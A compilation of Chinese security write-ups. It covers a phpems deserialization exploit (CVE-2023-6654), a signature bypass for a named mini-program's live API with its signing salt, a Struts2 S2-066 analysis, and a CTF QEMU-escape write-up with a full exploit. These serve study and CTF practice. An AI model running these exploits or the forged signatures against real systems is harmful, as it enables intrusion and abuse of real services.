2024西湖论剑-phpems-代码审计
前言 2024西湖论剑数据安全题,系统是phpems,修改了默认密码,需要利用CVE登上去 CVE-2023-6654 ,菜鸟学习,大佬多指点 0x01环境搭建 https://phpems.net/index.php 源码 config.inc.php修改相应数据库配置 数据库运行pe9.sql文件建立数据库 0x02代码审计 根据题目提示是CVE2023-6654 漏洞点在session.cls.php 查看session.cls.php代码 查看ginkgo 其make方法会判断$G拼接的文件名是否存在,也就是lib文件下的.cls.php文件,存在的就会包含这个文件 pepdo,ev,pdosql,strings是这里面分别包含的文件,根据CVE披露得知是反序列化漏洞,搜索反序列化点。 strings.cls.php中有利用点 getSessionId()方法里面有调用decode key值为CS,CS值在config.inc.php中,题目环境是修改的 使用如下代码可以解密出明文,因为我们知道key <?php define('CS','1hqfx6ticwRxtfviTp940vng!yC^QK^6'); $info="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%2594%25B4%257F%2596%2599b%259C%25D5%259C%25AAi%25A6%259A%2597%25AE%258B%25AC%25D7%25C9%25DB%25CF%258B%25D5%259Ei%2596%25AA%25D0%259DQ%25A9v%2580%258C%25BE%2598ok%258A%25E4%2 $key = CS; $info = urldecode(urldecode($info)); $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])-ord($key[$p])); } echo $info; encode代码 public function encode($info) { $info = serialize($info); $key = CS; $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])+ord($key[$p])); } return urlencode($info); } decode代码 public function decode($info) { $key = CS; $info = urldecode($info); $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])-ord($key[$p])); } $info = unserialize($info); return $info; } 可以看出里面这个$p值是循环的,加密的出来的值等于其ascll值相加, encode是明文+key=密文 decode是密文-key=明文 key=密文-明文 key的长度是32位,也就是我们得到的密码每32位一循环,那么如果我们知道密文中其中一段32位的明文,就可以算出来key了 ev.cls.php 可以确认这个ip是可控的,也就是这个值是可控的 a:3:{s:9:"sessionid";s:32:"6c48c14d623214794ccef7ee5f4b6003";s:9:"sessionip";s:9:"127.0.0.1";s:16:"sessiontimelimit";i:1706957115;} 去掉前面的64位,往后顺延32为取出来,值如下 :"sessionip";s:9:"127.0.0.1";s:1 解密脚本 <?php $info="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3ebjfel%2596%25CD%25D7%25CA%25A8k%25D5%259F%259A%25A9%25B6%25A8%25A4%2598%25AC%2599%2589%25A5p%2596%2593%25AC%25A6%259FZ%25DBuSm%25A6nnk%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1 $key = CS; $info = urldecode(urldecode($info)); $info1=substr($info,64,32); //echo $info1; $ed=strlen($info1);//也就是32 $dc=32; $sessip=':"sessionip";s:9:"127.0.0.1";s:1'; for ($i=0;$i<$ed;$i++) { $p=$i%$dc; $info1[$i]=chr(ord($info1[$i])-ord($sessip[$p])); } echo $info1; //1hqfx6ticwRxtfviTp940vng!yC12345 构造反序列化链子 session.cls.php的__destruct() 关键代码 $sql = $this->pdosql->makeUpdate($data); $this->db->exec($sql); ![](./myMediaFolder/media/image13.png){width="7.333333333333333in" height="2.8976049868766403in"} 这里可以看出分别需要db和pdosql,以此达到反序列化修改数据库密码, 构造链子 session::__destruct()->pdosql::makeUpdate->pepdo::exec 0x03漏洞复现 这里使用网上师傅的EXP <?php namespace PHPEMS { class session { public function __construct() { $this->sessionid="1111111"; $this->pdosql= new pdosql(); $this->db= new pepdo(); } } class pdosql { private $db; public function __construct() { $this->tablepre = 'x2_user set userpassword="a10adc3949ba59abbe56e057f20f883e" where username="peadmin";#--'; $this->db=new pepdo(); } } class pepdo { private $linkid = 0; } } namespace { define('CS1','1hqfx6ticwRxtfviTp940vng!yC12345'); function encode($info) { $info = serialize($info); $key = CS1; $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])+ord($key[$p])); } return urlencode($info); } $session = new PHPEMSsession(); $array = array("sessionid"=>"123123123", $session); echo serialize($array)."n"; echo(urlencode(encode($array)))."n"; } 实战中我们的ip是可以伪造的 关键代码点 需要先创建pepdo和pdosql pdosql.cls.php的makeUpdate是用来生成sql语句的 $tb_pre = $this->tablepre 所以这个sql语句参数可控 0x04总结 函数是关键,研究下是否能可控这个反序列化的参数值,并且反序列化中能够调用危险函数。
小程序绕过 sign 签名
之前看到了一篇文章【小程序绕过sign签名思路】之前在做小程序渗透时也遇到了这种情况,但是直接放弃测试了,发现这种思路后,又遇到了这种情况,记录下过程。 并没有漏洞分享,仅仅是把小程序也分享出来,方便大家测试学习。 小程序 父母邦亲子旅行酒店营地乐园活动。 在登录时验证码登录的数据包 POST /wxapp/login/send_messages?format=json HTTP/1.1 Host: api.fumubang.com Content-Length: 118 Xweb_xhr: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090819) XWEB/8555 Content-Type: application/json Accept: */* Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://servicewechat.com/wxef0aac3d44dcda51/214/page-frame.html Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: close {"phone_num":"XXXXXXXX","version":"3.3.9","scene":1053,"appid":648481988,"sign":"85a840e3674201f2606b8b65f914b912"} 我们直接修改手机号,重放数据包。 提示签名失败。 打开对应的路径 C:\Users\1\Documents\WeChat Files\Applet 将目录下所有文件全部删除 并重新打开小程序,此时生成的唯一文件夹,就是对应的该小程序的代码。 对小程序进行反编译 因为有一些依赖于 wx 所以只能提供思路 我们看到 sign 的创建流程 所以只需要构造满足 i.sign = a.create_sign(i, "d19e4abd1036063faa4218c139378c0e"); 就好啦。 初期思路是这样子的 但是因为存在 wx 的依赖,无法运行成功,但是加密是在本地处理的,这样构造应该是不对的。 柳暗花明 我们加入调试 发现第一个请求的数据包 /wxapp/index/get_kefu_phone 不需要登录就可以访问到这个界面,同时界面里也有 sign 参数。 利用微信开发者工具进行模拟操作。 加入断点 继续步入 可以添加字段 查看对应的值。 继续步入 该函数首先创建一个空数组 e ,然后通过 Object.keys(r).sort() 获取对象 r 的所有键,并进行排序。遍历排序后的键数组,判断键值是否符合特定条件,并将满足条件的键值对拼接成字符串并存入数组 e 中。 最后得到的值是: scene=1001&version=5.0.6d19e4abd1036063faa4218c139378c0e 返回值为 64d78d749828368851331593fa1e1ceb 就是对应字符串生成的 md5 的值。 我们修改一下数据包 发送成功。 修改手机号的数据包 将手机号修改后 提示签名失败。 phone_num=1xxxxxxxxx9&scene=1053&version=3.3.9d19e4abd1036063faa4218c139378c0e a90b19243e471d648d8eb5022d48066c phone_num=1xxxxxxxxx2&scene=1053&version=3.3.9d19e4abd1036063faa4218c139378c0e 85a840e3674201f2606b8b65f914b912 所以我们把代码稍微修改一下 "use strict"; var a = require("./md5.js"); var i = {"phone_num":"1xxxxxxxxxx2","version":"3.3.9","scene":1053,"appid":648481988} i.sign = a.create_sign(i, "d19e4abd1036063faa4218c139378c0e"); console.log(i); 成功破解了 sign 签名,可以发送任意数据包。
S2-066漏洞分析与复现(CVE-2023-50164)
Foreword 自struts2官方纰漏S2-066漏洞已经有一段时间,期间断断续续地写,直到最近才完成。羞愧地回顾一下官方通告: 2023.12.9发布,编号CVE-2023-50164,主要影响版本是 2.5.0-2.5.32 以及 6.0.0-6.3.0,描述中提到了文件上传漏洞和目录穿越漏洞。开始以为这是个组合漏洞,其实不是,这是一个漏洞,看了几篇大佬的文章,有的把它称为“文件上传目录穿越漏洞”,也有道理。 Prepare 准备工作就是搭建项目,用Tomcat跑,调试好断点,回顾下struts2的结构。篇幅有限,这里只贴一张struts2自身的配置文件: struts2有众多的Filter和Intercepter,它的配置逻辑是,除文件中定义的class、package以外,其余全部拦截。对于S2-066,处理一个请求要经过的几个关键类包括Dispatcher、Interceptor、HttpParameters以及UploadAction。使用下面的poc: Dispatcher 请求首先会进入著名的Dispatcher。multi参数对应的就是body数据,包含upload、fileName、contentType三个变量,无误: request中还有一个参数,uploadFileName=../../z127.txt,这个是污染参数,文件上传的目的地,也是利用这个漏洞的目标。 走到这里Dispatcher只是简单处理一下请求然后交给Interceptor,无异常。 FileUploadInterceptor 拦截器先是把request包装了一下,类型是MultiPartRequestWrapper。 这里与Dispatcher一样,请求参数还是multi和request两部分,也无异常。 并且遍历只有一次 ,因为真正的body只有一个,就是那个multi。 在遍历过程中struts2还出现了硬编码现象,要求文件名参数必须以FileName结尾,且拼接完成的文件名前缀就是body中的{upload}名称,这就给exp带来了一定限制: 此外,注意这里的279行: // get the name of the file from the input tag String[] fileName = multiWrapper.getFileNames(inputName); 使用的是MultiPartRequest接口的方法,而这个接口在S2-066中是由JakartaMultiPartRequest实现。使用下面这个poc进行目录穿越并断点检测一下: 发现目录穿越失败,文件没有放在指定目录下。分析源码: 参数覆盖原本想用../../z126.txt,方法的输入参数确实也是这样接收的,但在这个方法中struts2会对文件名进行截断,最终输出的文件名会变为 z126.txt,文件也就不会出现目录穿越的现象。因此目录穿越不是发生在这里,让struts2自己背这个锅多少有点冤。body中的数据组装完毕是下面这样,size等于3,依旧无误: HttpParameters 来到HttpParameters查看接收的参数,还是upload、contentType、fileName三个: 但是参数接收完后就不正常了,除了原本的UploadFileName(注意首字母是大写),还多了一个uploadFileName(注意首字母是小写),size也变成了4。这就是Struts2官方所解释的大小写敏感,即对大写的Upload和小写的upload分别做处理。从这里开始,S2-066才露出真正面目: HttpParameters实现了Map接口,所以本质上它还是一个map,这也是组装参数最常用的方式。但不管是HashMap还是TreeMap,自己不会出现覆盖的问题。用一个小实验证明: 走到这里,HttpParameters对参数的处理开始出现异常,但依然没有发生覆盖。 UploadAction 终于到Action了。引用一段struts2官方的描述: An attacker can manipulate file upload params to enable paths traversal and under some circumstances this can lead to uploading a malicious file which can be used to perform Remote Code Execution. 通过操控上传参数,黑客能够出发目录穿越漏洞,这样一来,在某些情况下可以上传恶意文件,从而进行RCE。换种说法,S2-066是框架自身、软件工程师、Java反射机制共同作用的结果。走到这里,为了简化代码,UploadAction即是Action又是Entity。而在Entity的实例化过程中,必然是通过setXX属性来赋值。所以就有了setUploadFileName(注意首字母大写)和setuploadFileName(注意首字母小写)的需求 。而在Entity的setter与getter中,这两种需求都会被当做一种,即setUploadFileName,因此覆盖也就发生了。正常情况下实例化方 而setUploadFileName第一遍是z106.txt: 第二遍是../../z127.txt: 实例化完成后,uploadFileName属性已被覆盖: 查看物理路径,上传成功: POCs 参数不是filename结尾,失败: 参数不符合FileName大小写要求,失败: 大写覆盖小写失败: 大写覆盖大写失败: 小写覆盖小写失败: 小写覆盖大写成功,文章开头所用。另外覆盖也可以放在body中: 验证: 利用条件多少有点苛刻,但杀伤力不输struts2过去那一堆,CVSS3.0评分9.8,CRITICAL。
从 VNCTF2024 的一道题学习QEMU Escape
说在前面 本文的草稿是边打边学边写出来的,文章思路会与一个“刚打完用户态 pwn 题就去打 QEMU Escape ”的人的思路相似,在分析结束以后我又在部分比较模糊的地方加入了一些补充,因此阅读起来可能会相对轻松。(当然也不排除这是我自以为是) https://github.com/xtxtn/vnctf2024-escape_langlang_mountain2wp[1] 题目分析流程 [1-1] 启动文件分析 读 Dockerfile,了解到它在搭起环境以后启动了start.sh, 再读 start.sh,了解到它启动了 xinetd 程序 再读 xinetd,这个程序的主要作用是监听指定 port,并根据预先定义好的配置来启动相应服务。可以看到 server_args 处启动了 run.sh 再读 run.sh,发现它用 QEMU 起了一个程序,通过 -device vn 我们可以知道 vn 是作为 QEMU 中的一个 pci设备 存在的。 通过 IDA 查找字符串 vn_ 可以找到 vn_instance_init,跟进调用 字符串vn_instance_init 的 函数vn_instance_init,再按 x 查看 函数vn_instance_init 的引用,可以看到下面还有一个 vn_class_init ,反汇编后看到 __int64 __fastcall vn_class_init(__int64 a1) {  __int64 result; // rax  result = PCI_DEVICE_CLASS_23(a1);  *(_QWORD *)(result + 176) = pci_vn_realize;  *(_QWORD *)(result + 184) = 0LL;  *(_WORD *)(result + 208) = 0x1234; // 厂商ID (Vendor ID)  *(_WORD *)(result + 210) = 0x2024; // 设备ID (Device ID)  *(_BYTE *)(result + 212) = 0x10;  *(_WORD *)(result + 214) = 0xFF;  return result; } 通过厂商ID和设备ID,我们可以判断下列 pci 设备中 00:04.0 Class 00ff: 1234:2024 就是我们要找的 vn /sys/devices/pci0000:00/0000:00:04.0 # lspci lspci 00:01.0 Class 0601: 8086:7000 00:04.0 Class 00ff: 1234:2024 00:00.0 Class 0600: 8086:1237 00:01.3 Class 0680: 8086:7113 00:03.0 Class 0200: 8086:100e 00:01.1 Class 0101: 8086:7010 00:02.0 Class 0300: 1234:1111 进而去/sys/devices/pci0000:00/0000:00:04.0 目录查看该设备 mmio 与 pmio 的注册情况 /sys/devices/pci0000:00/0000:00:04.0 # ls -al ... ... -r--r--r--   1 0       0             4096 Feb 18 12:18 resource -rw-------   1 0       0             4096 Feb 18 12:18 resource0 ... ... 有了 resource0 这个文件,我们就可以在exp里 mmap 做虚拟地址映射。 并且我们可以看到 vn 这个设备只注册了 mmio,那就考虑用 https://ctf-wiki.org/pwn/virtualization/qemu/exploitation/intro/#_3 [1-2] 静态分析 如果我写的不够清楚,读者可以参考 https://github.com/rcvalle/blizzardctf2017/blob/master/strng.c这一实现,读完这段代码会对 pci 设备的了解提升一个台阶。 我们先补充一些概念: QEMU 提供了一套完整的模拟硬件给 QEMU 上的 kernel 来使用,而 -device 参数为 kernel 提供了模拟的 pci 设备。 如果 kernel 实现了类似 linux 的 rootfs,我们就可以通过 lspci 来查看相关 pci,并在/sys/devices/...找到 pci 设备启动时 kernel 分配给 pci 的资源,也就是 resource0 等,这也是前文提到过的。 resource0 可以看作是一大片开关,当我们修改 resource0 中的内容时,可以看做对应开关被启动,pci设备也随着开关的启动而变化,具体表现为“控制寄存器、状态寄存器以及设备内部的内存区域 随着 resource0 的变化而变化” 所以我们可以 open resource0 这个文件,用 mmap 映射它,从而使我们能够在C代码中对 resource0 这片内存进行修改 可是由于 QEMU 也只不过是一个程序,虚拟的 pci 设备意味着,一定有一片内存存储着 pci 相关的数据 关于 pci 存储数据的这一部分好像就涉及 QOM 了,还没太搞懂,总之跟pci_xx_realize, xx_class_init, xx_instance_init 等函数有关 假设我们的调用链是这样的: docker -> QEMU -> exp 则 docker 会让 QEMU 误以为自己占据全部内存空间,QEMU 会让 exp 认为自己占据全部内存空间 而 QEMU 的 pci 设备的 MemoryRegion 就存储在 QEMU 的堆区上,我们在程序 exp 中读写 resource0,就相当于操控 vn_mmio_read 和 vn_mmio_write 去读写 QEMU 的堆区,如果我们正好修改到 MemoryRegion 的 xx_mmio_ops 指针,就可以劫持控制流。 那么,接下来我们要做的事情就是去读一下 vn_mmio_read 和 vn_mmio_write 的反汇编,了解怎样读写堆区内容。 由于对 QEMU 不是很熟悉,我只能瞎命名,vn_mmio_write 的大体逻辑是 object_dynamic_cast_assert是动态类型转换,我OOP学的很烂所以不清楚这是什么😭,猜测是申请一块堆的地址然后用 ptr 指向这块地址 ①如果 op == 0x30 且 ptr[737] == 0 ptr[ ptr[736]/8 + 720 ] = var,并将 ptr[737] 设置为1 ②如果 op == 0x10 且 var < 0x3C ptr[736] = var 这里可以用负数来上溢,从而可以读很大一片空间的内容 ③如果 op == 0x20 且 var 的高32位 < 0x3C ptr[ HIDWORD(var) + 720 ] = (LODWORD)var 同理 vn_mmio_read 也可以分析出来。 下面是我调试代码时画的草图,读者可以等看完“[2] 动态调试”部分以后再回来看这张图,个人认为这样的图对理解程序非常有帮助 通过分析我们可以得知,vn_mmio_write可以实现一些越界写,同理分析 vn_mmio_read 我们可以得知,令可以实现一些越界读,根据反汇编我们可以定制一下这道题的 mmio_read void mmio_write(uint64_t addr, uint64_t value) {    *((uint64_t*)(mmio_base + addr)) = value; } uint32_t mmio_read(uint64_t addr) {    return *((uint32_t*)(mmio_base + addr)); } void mmio_write_idx(uint64_t idx, uint64_t value) {    uint64_t val = value + (idx << 32);    mmio_write(0x20,val); } 通过 Shift + F12 查/bin/sh可以跟进到这道题的后门函数0x67429B,我们需要跳转到这里去执行execv("/bin/sh"); 现在我们知道了怎样读写堆区,也知道写入什么东西。但我们不知道 ptr[736] 附近是不是 MemoryRegion,而且 QEMU 会启动 pie,我们需要绕过 pie 才能利用后门函数。 所以我们就先读一些内容,看看附近有没有什么能利用的东西 [2] 动态调试 接下来我们需要用 docker 调试 qemu,这里记录一下 # 注: 如果已经提前 docker-compose 好了,则可以直接通过 docker cp 来修改内部文件 docker cp /path/to/file container_name:/whatever/path/you/want/to/file # 首先将 exp.c 静态编译为二进制文件 gcc exp.c --static -o exp # 然后解包 rootfs.cpio,参考https://www.jianshu.com/p/f08e34cf08ad 的“调试”部分 hen rootfs.cpio # 将 exp 放入 /core/usr/bin 中 # 重新打包 roortfs.cpio gen rootfs.cpio # 修改 run.sh vim run.sh # #!/bin/sh # ./qemu-system-x86_64 \ #     -L ./pc-bios \ #     -m 128M \ #     -append "tsc=unstable console=ttyS0" \ #     -kernel bzImage \ #     -initrd rootfs.cpio \ #     -device vn \ #     -nographic \ #     -no-reboot \ #     -monitor /dev/null \ # 修改 Dockerfile,在创建容器时安装 qemu-system-x86 gdb,这一步其实在 容器的shell里也能install,可以跳过 vim Dockerfile # 下面内容只是 RUN 部分,其他部分不动 # RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \ #     apt-get update && apt-get -y dist-upgrade && \ #     apt-get install -y lib32z1 xinetd \ #                       libpixman-1-dev libepoxy-dev libpng16-16 libjpeg8-dev \ #                       libfdt-dev libnuma-dev libglib2.0-dev \ #                       libgtk-3-dev libasound2-dev libcurl4 qemu-system-x86 gdb # build 与 启动容器 docker-compose build docker start vnctf # 启动tmux,分页记为 pane1 和 pane2 # pane1: docker exec -ti vnctf /bin/bash # pane2: docker exec -ti vnctf /bin/bash # pane1: ./run.sh # 这里运行以后应该是什么也不会出现 # pane2: ps -ax | grep "qemu-system-x86_64 -L" # 这一步获取 qemu 的进程号PID,用于 (gdb) attach PID gdb ./qemu-system-x86_64 (gdb) attach PID # 比如 (gdb) attach 406 (gdb) c     # 输入完以后看一眼 pane1,如果qemu启动了就等qemu启动            # 如果没启动就继续输入 (gdb) c # pane1: # 此时 QEMU 正常运行,我们可以在里面输入一些命令比如ls等查看 cd /usr/bin # 这里是前面解包后的时候 exp 放入的文件夹 ./exp # pane2: # 此时就可以开始调试了 现在程序正常运行了,我们开始查看读出来的东西有没有什么是能利用的 int main(int argc, char const *argv[]) {    uint32_t catflag_addr = 0x6E65F9;    getMMIOBase();    printf("mmio_base Resource0Base: %p\n", mmio_base);        uint64_t test_low,test_high,test;    for(int i=-1;i>=-30;i--) {        mmio_write(0x10, i*0x8);        test_low = mmio_read(0x20);        mmio_write(0x10, i*0x8 + 0x4);        test_high = mmio_read(0x20);        test = test_low + (test_high << 32);        printf("test%d = 0x%llx\n", -i, test);        getchar();   } } /* /usr/bin # ./exp mmio_base Resource0Base: 0x7fafa8025000 test1 = 0x0 test2 = 0x0 test3 = 0x0 test4 = 0x0 test5 = 0x55da28130f00 test6 = 0x55da2812ef78 test7 = 0x0 test8 = 0x55da271feb98 test9 = 0x55da27e4f820 test10 = 0x55da2812ef58 test11 = 0x0 test12 = 0x1 test13 = 0x0 test14 = 0x0 test15 = 0x10001 test16 = 0x0 test17 = 0x55da256a335b // -> memory_region_destructor_none test18 = 0xfebf1000 test19 = 0x0 test20 = 0x1000 test21 = 0x0 test22 = 0x55da271feae0 test23 = 0x55da2812e470 test24 = 0x55da25dd01e0 // -> vn_mmio_ops test25 = 0x55da2812e470 test26 = 0x55da2812e470 test27 = 0x0 */ 我们逐个地址 x/2gx 一下,最终发现这几个比较有意思的地方 PIE (gdb) x/2gx 0x55da256a335b 0x55da256a335b <memory_region_destructor_none>: 0xe5894855fa1e0ff3      0xf3c35d90f87d8948 我们在 IDA 中是能搜到这个函数的,它在 QEMU 里的偏移量是 0x82B35B,通过这个我们就可以计算出 docker 加载 QEMU 时的基地址了 heap & MemoryRegion (gdb) x/2gx 0x55da25dd01e0 0x55da25dd01e0 <vn_mmio_ops>:   0x000055da252d3458      0x000055da252d3502 我们找到了需要的 ops,test24 存的就是 0x55da25dd01e0 所以我们有如下对应关系: ptr[-24 + 720] -> 0x55da25dd01e0 那很自然的我们就想到,ptr的其他地方存着什么?这附近是不是就是 MemoryRegion?可是我们并没有 (&ptr[-24 + 720]),但我们知道的是 MemoryRegion 存在堆里,所以我们考虑用 find 命令查找(看起来像堆地址的)堆地址附近查找 0x55da25dd01e0 这个值就行 最终我们用到的是 test23 -> 0x55da2812e470 // 查找 [0x55da2812e470,0x55da2812e470+0x1000] 中存放0x55da25dd01e0的地址 (gdb) find 0x55da2812e470, 0x55da2812e470+0x1000, 0x55da25dd01e0 0x55da2812eef0 1 pattern found. 因此我们知道 0x55da2812eef0 存放着我们需要的 0x55da25dd01e0 观察发现这个地址跟我们的 test10 非常近,可以计算一下 (gdb) print(0x55da2812ef58 - 0x55da2812eef0) $1 = 104 // 104 = 0x68 // 所以 test23 = 0x55da2812eef0 = 0x55da2812ef58 - 0x68 = test10 - 0x68 而我们打印一下更多附近的值,可以看到 (gdb) x/52xg 0x55da2812ef58 - 0x58 - 0x60 0x55da2812eea0: 0x000055da271f1840      0x0000000000000000 0x55da2812eeb0: 0x000055da280e1f00      0x0000000000000001 0x55da2812eec0: 0x000055da2812e470      0x0000000000000001 0x55da2812eed0: 0x0000000000000000      0x0000000000000000 0x55da2812eee0: 0x000055da2812e470      0x000055da2812e470 0x55da2812eef0: 0x000055da25dd01e0      0x000055da2812e470 <- test 24 | 23 0x55da2812ef00: 0x000055da271feae0      0x0000000000000000 0x55da2812ef10: 0x0000000000001000      0x0000000000000000 0x55da2812ef20: 0x00000000febf1000      0x000055da256a335b <- test 18 | 17 0x55da2812ef30: 0x0000000000000000      0x0000000000010001 0x55da2812ef40: 0x0000000000000000      0x0000000000000000 0x55da2812ef50: 0x0000000000000001      0x0000000000000000 0x55da2812ef60: 0x000055da2812ef58      0x000055da27e4f820 0x55da2812ef70: 0x000055da271feb98      0x0000000000000000 0x55da2812ef80: 0x000055da2812ef78      0x000055da28130f00 0x55da2812ef90: 0x0000000000000000      0x0000000000000000 0x55da2812efa0: 0x0000000000000000      0x0000000000000000 0x55da2812efb0: 0x0000000000000000      0x0000000000000000 <- test 0 | -1 0x55da2812efc0: 0x0000000000000000      0x0000000000000000 0x55da2812efd0: 0x0000000000000000      0x0000000000000000 0x55da2812efe0: 0x0000000000000000      0x0000000000000000 0x55da2812eff0: 0x00000000ffffff2c      0x0000000000000000 0x55da2812f000: 0x0000000000000000      0x0000000000000061 0x55da2812f010: 0x000055da2812d3c0      0x000055da273b01d0 0x55da2812f020: 0x0000000000000000      0x000055da25725d5f 0x55da2812f030: 0x0000000000000000      0x000055da25725de1 我们回到 https://ctf-wiki.org/pwn/virtualization/qemu/basic-knowledge/mm/ 里查看一下 MemoryRegion struct MemoryRegion {    Object parent_obj;    /* private: */    /* The following fields should fit in a cache line */    bool romd_mode;    bool ram;    bool subpage;    bool readonly; /* For RAM regions */    bool nonvolatile;    bool rom_device;    bool flush_coalesced_mmio;    bool global_locking;    uint8_t dirty_log_mask;    bool is_iommu;    RAMBlock *ram_block;    Object *owner;    const MemoryRegionOps *ops;    void *opaque;    MemoryRegion *container;    // 指向父 MemoryRegion    Int128 size;    // 内存区域大小    hwaddr addr;    // 在父 MR 中的偏移量    void (*destructor)(MemoryRegion *mr);    uint64_t align;    bool terminates;    bool ram_device;    bool enabled;    bool warning_printed; /* For reservations */    uint8_t vga_logging_count;    MemoryRegion *alias;    // 仅在 alias MR 中,指向实际的 MR    hwaddr alias_offset;    int32_t priority;    QTAILQ_HEAD(, MemoryRegion) subregions;    QTAILQ_ENTRY(MemoryRegion) subregions_link;    QTAILQ_HEAD(, CoalescedMemoryRange) coalesced;    const char *name;    unsigned ioeventfd_nb;    MemoryRegionIoeventfd *ioeventfds; }; 假设我们把 test24 看作上面结构体的 const MemoryRegionOps *ops; 0x55da2812eea0: 0x000055da271f1840 0x55da2812eea8: 0x0000000000000000 0x55da2812eeb0: 0x000055da280e1f00 0x55da2812eeb8: 0x0000000000000001 0x55da2812eec0: 0x000055da2812e470 0x55da2812eec8: 0x0000000000000001 0x55da2812eed0: 0x0000000000000000 0x55da2812eed8: 0x0000000000000000 0x55da2812eee0: 0x000055da2812e470 0x55da2812eee8: 0x000055da2812e470 0x55da2812eef0: 0x000055da25dd01e0 -24 -> test24 -> ops 0x55da2812eef8: 0x000055da2812e470 -23 -> test23 -> opaque 0x55da2812ef00: 0x000055da271feae0 -22 -> test22 -> container 0x55da2812ef08: 0x0000000000000000 -21 -> test21 -> 这里不知道是什么😭 0x55da2812ef10: 0x0000000000001000 -20 -> test20 -> size(Int128) 0x55da2812ef18: 0x0000000000000000 -19 -> test19 -> size 0x55da2812ef20: 0x00000000febf1000 -18 -> test18 -> addr 0x55da2812ef28: 0x000055da256a335b -17 -> test17 -> mr 0x55da2812ef30: 0x0000000000000000 0x55da2812ef38: 0x0000000000010001 0x55da2812ef40: 0x0000000000000000 0x55da2812ef48: 0x0000000000000000 0x55da2812ef50: 0x0000000000000001 0x55da2812ef58: 0x0000000000000000 0x55da2812ef60: 0x0000000000000000 0x55da2812ef68: 0x0000000000000000 0x55da2812ef70: 0x0000000000000000 0x55da2812ef78: 0x0000000000000000 0x55da2812ef80: 0x0000000000000000 0x55da2812ef88: 0x0000000000000000 0x55da2812ef90: 0x0000000000000000 0x55da2812ef98: 0x0000000000000000 0x55da2812efa0: 0x0000000000000000 0x55da2812efa8: 0x0000000000000000 -> test0 0x55da2812efb0: 0x0000000000000000 -> 可以看到这里有一大片'\x00' 0x55da2812efb8: 0x0000000000000000 -> 我们可以把控制流劫持的指针 0x55da2812efc0: 0x0000000000000000 -> 放在这一片 0x55da2812efc8: 0x0000000000000000 0x55da2812efd0: 0x0000000000000000 0x55da2812efd8: 0x0000000000000000 0x55da2812efe0: 0x0000000000000000 0x55da2812efe8: 0x0000000000000000 我们可以看到这就是 MemoryRegion,当我们修改 ptr[-24 + 720] 即 MemoryRegion.ops 的值为 0x55da2812efb8(&test0 + 8),我们就可以在执行 vn_mmio_read 和 vn_mmio_write 时去执行 0x55da2812efb8 指向的函数 所以我们考虑这样的布置: 0x55da2812eef0(&test24)   -> 0x55da2812efd8 0x55da2812efd8(&backdoor) -> 0x55da2812efd0 -> 后门函数0x67429B [3] 完整 EXP #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <errno.h> #include <signal.h> #include <fcntl.h> #include <ctype.h> #include <termios.h> #include <assert.h> #include <sys/types.h> #include <sys/mman.h> #include <sys/io.h> // #define MAP_SIZE 4096UL #define MAP_SIZE 0x1000000 #define MAP_MASK (MAP_SIZE - 1) char* pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0"; unsigned char* mmio_base; unsigned char* getMMIOBase(){    int fd;    if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) {        perror("open pci device");        exit(-1);   }    mmio_base = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd,0);    if(mmio_base == (void *) -1) {        perror("mmap");        exit(-1);   }    return mmio_base; } void mmio_write(uint64_t addr, uint64_t value) {    *((uint64_t*)(mmio_base + addr)) = value; } uint32_t mmio_read(uint64_t addr) {    return *((uint32_t*)(mmio_base + addr)); } void mmio_write_idx(uint64_t idx, uint64_t value) {    uint64_t val = value + (idx << 32);    mmio_write(0x20,val); } int main(int argc, char const *argv[]) {    uint32_t catflag_addr = 0x6E65F9;    getMMIOBase();    printf("mmio_base Resource0Base: %p\n", mmio_base);        mmio_write(0x10, -17*0x8);    uint64_t pie_low = mmio_read(0x20);    mmio_write(0x10, -17*0x8 + 0x4);    uint64_t pie_high = mmio_read(0x20);    uint64_t pie = pie_low + (pie_high << 32) - 0x82B35B;    printf("pie = 0x%llx\n", pie);    getchar();    mmio_write(0x10, -10*0x8);    uint64_t heap_low = mmio_read(0x20);    mmio_write(0x10, -10*0x8 + 0x4);    uint64_t heap_high = mmio_read(0x20);    uint64_t heap = heap_low + (heap_high << 32);    printf("heap = 0x%llx\n", heap);    uint64_t backdoor = pie + 0x67429B;    uint64_t system_plt_addr = heap + 0x60 + 8;    uint64_t cmdaddr = heap + 0x58 + 8;    getchar();    mmio_write_idx(8,0x20746163);    mmio_write_idx(12,0x67616C66);    mmio_write_idx(16,backdoor & 0xffffffff);    mmio_write_idx(20,backdoor >> 32);    mmio_write_idx(24,system_plt_addr & 0xffffffff);    mmio_write_idx(28,system_plt_addr >> 32);    mmio_write_idx(32,cmdaddr & 0xffffffff);    mmio_write_idx(36,cmdaddr >> 32);    getchar();    for(int i = 40;i <= 60 ;i += 4 )   {        mmio_write_idx(i,0);   }    getchar();    mmio_write(0x10,-0xc0);    getchar();    mmio_write(0x30,system_plt_addr);    getchar();    mmio_read(0);    return 0; } 